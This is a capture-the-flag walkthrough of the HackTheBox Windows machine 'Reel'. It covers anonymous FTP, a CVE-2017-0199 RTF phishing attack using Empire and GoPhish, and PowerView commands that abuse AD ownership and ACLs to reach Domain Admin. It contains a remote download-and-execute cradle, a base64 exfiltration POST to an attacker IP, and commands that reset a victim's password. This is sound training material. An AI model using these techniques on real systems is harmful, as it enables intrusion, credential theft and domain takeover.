Reel - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Reel is a sophisticated Active Directory exploitation challenge that combines client-side attacks with privilege escalation through DACL misconfiguration. The machine requires initial compromise via a phishing attack leveraging CVE-2017-0199 (RTF document exploit), followed by credential extraction and enumeration of Active Directory permissions using BloodHound. The privilege escalation path involves exploiting DACL (Discretionary Access Control List) ownership and ACE (Access Control Entry) write permissions to escalate from a low-privileged user to Domain Administrator.

TL;DR: Anonymous FTP → Phishing with CVE-2017-0199 RTF exploit → Extract credentials → BloodHound DACL enumeration → Exploit ownership chain → Domain Admin credentials in backup script.

Reconnaissance

Port Scanning

# Initial broad port scan
masscan -p1-65535 10.10.10.77 --rate=1000 -e tun0 > ports

# Extract ports and run detailed nmap
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.77

Results:

Service Enumeration

FTP Enumeration:

# Connect to FTP with anonymous credentials
ftp 10.10.10.77
# Login: anonymous

# Download available documents
get "Windows Event Forwarding.docx"
get "AppLocker.docx"
get "README.txt"

Document Analysis:

Using exiftool on “Windows Event Forwarding.docx” reveals the email address: nico@megabank.com

The “AppLocker.docx” document reveals critical security information:

• AppLocker is enabled on the system
• Hash rules are enforced for executables, MSIs, and scripts (.ps1, .vbs, .cmd, .bat, .js)
• The organization is converting documents from RTF to newer formats
• Documents will need to be opened for review by staff

Vulnerability Assessment

Identified Vulnerabilities:

1. CVE-2017-0199 - RTF documents can be weaponized to execute arbitrary code via HTA payload
2. Unpatched Office/Windows - System vulnerable to RTF exploits
3. FTP Anonymous Access - Sensitive documents exposed
4. Client-side attack surface - Users will open review documents
5. DACL Misconfiguration - Active Directory permissions allow privilege escalation chains
6. Cleartext credential storage - Administrator credentials stored in backup scripts

Initial Foothold

Exploitation Path

Phase 1: Infrastructure Setup

The attack requires a multi-component infrastructure:

1. Malicious RTF document generator - Using CVE-2017-0199 toolkit
2. Empire C2 server - For post-exploitation callbacks
3. Phishing email delivery - GoPhish for targeted emails
4. Payload hosting - Web server for HTA payload delivery

Phase 2: Payload Creation

# Clone CVE-2017-0199 exploitation toolkit
git clone https://github.com/bhdresh/CVE-2017-0199
cd CVE-2017-0199

# Generate malicious RTF file with HTA payload
# This tool creates an RTF document that triggers the vulnerability
# and executes an HTA file from attacker-controlled server

Phase 3: Empire C2 Setup

# Install and configure PowerShell Empire
git clone https://github.com/EmpireProject/Empire
cd Empire

# Generate HTA payload from Empire listener
# Configure listener on attacker machine (e.g., 10.10.14.15:8080)
# Generate the malicious HTA stager for callback

Phase 4: GoPhish Campaign

# Download and run GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.11.3/gophish-v0.11.3-linux-64bit.zip
unzip gophish-v0.11.3-linux-64bit.zip
chmod +x gophish

# Configure phishing template and send emails to nico@megabank.com
# Email content: "Document Review Required - Windows Event Forwarding RTF"
# Attachment: malicious RTF file embedding HTA payload

Phase 5: Exploitation

When the target opens the RTF document:

1. CVE-2017-0199 vulnerability is triggered
2. HTA file is downloaded and executed from attacker web server
3. Empire agent callback is established on attacker listener
4. Command execution achieved with user privileges (nico)

Result: Successful agent callback and code execution on the system.

Privilege Escalation

Phase 1: Credential Extraction

After initial compromise as user nico, we search for stored credentials:

# Navigate to user's home directory and look for credential files
cd C:\Users\nico\Desktop
dir -Hidden

# Found: cred.xml (PowerShell credential export)

# Extract credentials from the XML file
$credential = import-clixml -path cred.xml
$credential.GetNetworkCredential().username
$credential.GetNetworkCredential().password

# Results:
# Username: HTB\Tom
# Password: <extracted from XML>

Phase 2: Lateral Movement to Tom

# Use extracted credentials to SSH as Tom
ssh tom@10.10.10.77
# Authenticate with extracted password

Phase 3: Active Directory DACL Enumeration

Once logged in as Tom, we discover the “AD Audit” folder on the desktop containing BloodHound data and PowerView scripts:

# Enumerate Active Directory groups to identify privilege escalation targets
$groups = [adsi] "LDAP://REEL:389/OU=Groups,DC=HTB,DC=LOCAL"
$searcher = New-Object System.DirectoryServices.DirectorySearcher $groups
$searcher.Filter = '(objectClass=Group)'
$results = $searcher.FindAll()
foreach ($result in $results) {$group = $result.Properties; $group.name}

# Interesting finding: "Backup_Admins" group identified

BloodHound Analysis:

# Download and execute SharpHound for data collection
IEX (New-Object Net.Webclient).downloadstring("http://10.10.14.15:8080/SharpHound.ps1")

# Invoke BloodHound with full collection
Invoke-BloodHound -CollectionMethod All

# Exfiltrate BloodHound data back to attacker
$Base64String = [System.convert]::ToBase64String((Get-Content -Path 'c:/users/tom/downloads/20181110013202_BloodHound.zip' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.14.15:443 -Method POST -Body $Base64String

On attacker machine:

# Receive and decode the exfiltrated data
nc -lvnp 443 > bloodhound_data.txt

# Decode base64 and extract
echo <base64_encoded_data> | base64 -d -w 0 > bloodhound_reel.zip
unzip bloodhound_reel.zip

Import into BloodHound and run Cypher query:

MATCH (n:User), (m:Group {name: "BACKUP_ADMINS@HTB.LOCAL"}),
p=shortestPath((n)-[*1..]->(m)) RETURN p

Attack Chain Discovered:

Tom → Change Owner of Claire → Write ACL to Claire → Reset Claire's Password
→ Add Claire to Backup_Admins → Claire has Backup access → Admin credentials

Phase 4: DACL Exploitation Chain

Using PowerView (found in the AD Audit folder), we exploit the DACL chain:

# Step 1: Tom takes ownership of Claire's AD object
Set-DomainObjectOwner -Identity claire -OwnerIdentity tom

# Step 2: Tom adds ResetPassword ACL entry for himself on Claire's object
Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose

# Step 3: Reset Claire's password to a known value
$UserPassword = ConvertTo-SecureString 'Sup3rS3cr3t!' -AsPlainText -Force -Verbose
Set-DomainUserPassword -Identity claire -AccountPassword $UserPassword -Verbose

# Step 4: Create credential object for Claire
$Cred = New-Object System.Management.Automation.PSCredential('HTB\claire', $UserPassword)

# Step 5: Add Claire to the Backup_Admins group
Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Credential $Cred

Phase 5: Domain Administrator Access

# Log in as Claire
# Now Claire has membership in Backup_Admins group

# Access Administrator profile and Backup Scripts folder
cd "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine"
# or
cd "C:\Backup"

# Examine backup scripts
cat BackupScript.ps1

# Found: Cleartext Domain Administrator credentials in the script!
# Credentials: Administrator account for HTB\Administrator

Obtain root shell:

# Use extracted Administrator credentials to establish root access
ssh administrator@10.10.10.77
# or
psexec.py HTB/Administrator:password@10.10.10.77 cmd.exe

Alternatively, within PowerShell with admin access:

# Retrieve root flag
type C:\Users\Administrator\Desktop\root.txt

Attack Chain Summary

Anonymous FTP Access
        ↓
Enumerate Documents (Windows Event Forwarding.docx, AppLocker.docx)
        ↓
Extract Email: nico@megabank.com & Security Policy Info
        ↓
Setup Malicious Infrastructure (CVE-2017-0199, Empire, GoPhish)
        ↓
Send Phishing Email with Malicious RTF Document
        ↓
Target Opens RTF → CVE-2017-0199 Triggered → HTA Executed
        ↓
Empire Agent Callback (Initial Access as nico)
        ↓
Extract PowerShell Credentials from cred.xml
        ↓
Lateral Movement to User: tom
        ↓
Discover BloodHound Data & Backup_Admins Group
        ↓
Run BloodHound Analysis → Identify DACL Attack Chain
        ↓
Tom: Take Ownership of Claire's Object
        ↓
Tom: Add ResetPassword ACL to Claire
        ↓
Tom: Reset Claire's Password
        ↓
Add Claire to Backup_Admins Group
        ↓
Claire: Access Backup Scripts Folder
        ↓
Extract Cleartext Administrator Credentials
        ↓
Domain Administrator / Root Access

Tools Used

Key Learnings

Techniques Practiced

• Client-side RTF exploitation (CVE-2017-0199) - Weaponizing document formats for initial access
• Credential extraction from PowerShell XML files - Recovering stored credentials programmatically
• Active Directory DACL analysis - Identifying permission-based privilege escalation paths
• BloodHound graph analysis - Mapping complex AD relationships and attack chains
• Phishing infrastructure setup - Creating convincing social engineering campaigns
• PowerView exploitation - Manipulating AD object ownership and ACLs via PowerShell
• Multi-stage exploitation - Chaining multiple vectors for complete domain compromise

Lessons Learned

1. Document metadata is dangerous - Office documents often contain identifying information (email addresses, usernames) exploitable in targeted attacks.

2. AppLocker bypasses exist - Even with AppLocker enabled, HTA payloads and script execution can circumvent restrictions through proper payload delivery.

3. DACL misconfiguration creates escalation chains - AD objects with overly permissive ownership settings and ACLs can be chained together for privilege escalation.

4. Credentials in scripts are common - Legacy systems frequently store plaintext or easily recoverable credentials in backup/maintenance scripts.

5. BloodHound reveals complex relationships - What appears as isolated AD objects can have dangerous permission paths when mapped comprehensively.

6. Social engineering remains effective - Well-crafted phishing emails with organizational context (document review requests) have high success rates.

7. Lateral movement through credentials - Extracting one set of credentials often leads to access for multiple other accounts and systems.

8. Defense-in-depth requires all layers - Even with AppLocker, if the initial access vector succeeds, exploitation can proceed through legitimate tools (PowerView).

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>